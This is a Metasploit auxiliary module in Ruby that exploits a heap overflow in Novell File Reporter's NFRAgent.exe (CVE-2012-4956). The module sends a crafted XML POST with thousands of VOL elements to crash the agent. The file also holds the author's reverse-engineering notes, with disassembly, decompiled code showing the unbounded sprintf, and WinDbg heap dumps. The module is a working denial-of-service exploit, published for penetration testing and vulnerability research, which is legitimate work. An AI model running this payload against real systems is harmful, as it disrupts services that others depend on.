rapid7/metasploit-framework

View on GitHub
modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb

Summary

Maintainability
A
0 mins
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NFR Agent Heap Overflow Vulnerability',
      'Description'    => %q{
          This module exploits a heap overflow in NFRAgent.exe, a component of Novell
        File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS",
        where NFRAgent.exe fails to generate a response in a secure way, copying user
        controlled data into a fixed-length buffer in the heap without bounds checking.
        This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).
      },
      'Author'         => [ 'juan vazquez' ],
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2012-4956' ],
        [ 'URL', 'https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/' ]
      ],
      'DisclosureDate' => '2012-11-16'))

    register_options(
      [
        Opt::RPORT(3037),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ])

  end

  def run
    record = "<RECORD>"
    record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
    record << "<VOL>#{Rex::Text.rand_text_alpha(10)}</VOL>" * 0xc35 # Volumes
    record << "</RECORD>"

    md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
    message = md5 + record

    print_status("Triggering a heap overflow to cause DoS...")

    begin
    res = send_request_cgi(
      {
        'uri'     => '/FSF/CMD',
        'version' => '1.1',
        'method'  => 'POST',
        'ctype'   => "text/xml",
        'data'    => message
      })
    rescue ::Errno::ECONNRESET
      print_good("NFR Agent didn't answer, DoS seems successful")
      return
    end

    if res
      print_error("NFR Agent didn't die, it still answers...")
      return
    end

    print_good("NFR Agent didn't answer, DoS seems successful")
  end
end

=begin

* Static analysis

1) Handling of "SRS" records happens in handle_SRS_sub_4048D0:

.text:00404BE9                 add     esp, 0Ch
.text:00404BEC                 push    14h             ; length_arg_C
.text:00404BEE                 lea     eax, [ebp+record_name_var_28]
.text:00404BF1                 push    eax             ; result_arg_8
.text:00404BF2                 push    offset aName    ; "NAME"
.text:00404BF7                 mov     ecx, [ebp+message_arg_8]
.text:00404BFA                 add     ecx, 20h
.text:00404BFD                 push    ecx             ; xml_message_arg_0
.text:00404BFE                 mov     ecx, [ebp+var_2C]
.text:00404C01                 call    parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
.text:00404C06                 movzx   edx, al
.text:00404C09                 test    edx, edx
.text:00404C0B                 jz      short loc_404C8B
.text:00404C0D                 push    offset aSrs_2   ; "SRS"
.text:00404C12                 lea     eax, [ebp+record_name_var_28]
.text:00404C15                 push    eax             ; char *
.text:00404C16                 call    _strcmp         ; compares the contents of the "NAME"  element in the xml message from the request with the "SRS" string.
.text:00404C1B                 add     esp, 8
.text:00404C1E                 test    eax, eax
.text:00404C20                 jnz     short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
.text:00404C22                 mov     ecx, [ebp+message_arg_8]
.text:00404C25                 push    ecx             ; void *
.text:00404C26                 mov     edx, [ebp+arg_4]
.text:00404C29                 push    edx             ; int
.text:00404C2A                 mov     eax, [ebp+arg_0]
.text:00404C2D                 push    eax             ; int
.text:00404C2E                 call    handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"

2) In this function memory is allocated to store the response which will be build:

.text:00404903                 push    0C350h          ; size_t
.text:00404908                 call    _malloc
.text:0040490D                 add     esp, 4
.text:00404910                 mov     [ebp+response_var_8], eax

0:007> g
Breakpoint 0 hit
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
NFRAgent+0x4908:
00404908 e84cef0300      call    NFRAgent+0x43859 (00443859)
0:007> dd esp L1
0120ff4c  0000c350
0:007> p
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
NFRAgent+0x490d:
0040490d 83c404          add     esp,4
0:007> !heap -p -a eax
    address 01220110 found in
_HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01220108 186b 0000  [01]   01220110    0c350 - (busy)

3) The SRS record used in this module is handled by:

.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char
*result_response_arg_4)

4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed:

    for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD
*)(vol_object_var_254 + 12) )
    {
      parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL",
&vol_name_var_20c, 0x1F4u); // get VOL element
      volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume
Free Space
      volume_fscape_var_358 = v2;
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode
the volume name (user controlled data)
      if ( vol_name_html_encode_var_494 )
{ // If the volume name has been HTML Encoded
        v3 = volume_fscape_var_358;
v4 = volume_fspace_vol_35C;
v5 = vol_name_html_encode_var_494;
v6 = strlen(result_response_arg_4);
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the
fix-length buffer in the heap without bound checking
        free(vol_name_html_encode_var_494);
        vol_name_html_encode_var_494 = 0;
      }
else
{ // If the volume name hasn’t been HTML Encoded
        v7 = volume_fscape_var_358;
v8 = volume_fspace_vol_35C;
v9 = strlen(result_response_arg_4);
sprintf(
          &result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume
name) to the end of the fix-length buffer in the heap without bound checking
          "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
&vol_name_var_20c,
v8,
v7);
      }
    }

The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5:

Breakpoint 1 hit
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
NFRAgent+0x85c5:
004085c5 e84ea70300      call    NFRAgent+0x42d18 (00442d18)
0:007> dd esp L1
0120eec8  0122013e
0:007> !heap -p -a 0122013e
    address 0122013e found in
_HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01220108 186b 0000  [01]   01220110    0c350 - (busy)
0:007> da poi(esp+4)
0047a040  "<VOL><NAME>%s</NAME><FSPACE>%I64"
0047a060  "d</FSPACE></VOL>"
0:007> da poi(esp+8)
01250208  "AAAAAAAAAA"

After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are
overwritten for the chunk just after the vulnerable one:

0:007> g
Breakpoint 0 hit
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
NFRAgent+0x8645:
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
0:007> !heap -p -a 01220110
    address 01220110 found in
    _HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01220108 186b 0000  [01]   01220110    0c350 - (busy)
0:007> !heap -p -a 01220110+0xc350
    address 0122c460 found in
_HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0122c460 3e45 0000  [46]   0122c468    1f220 - (free)
0:007> db 0122c460 L8
0122c460  45 3e 30 3c 2f 46 53 50                          E>0</FSP
0:007> db 0122c468 L10
0122c468  41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c  ACE></VOL><VOL><
=end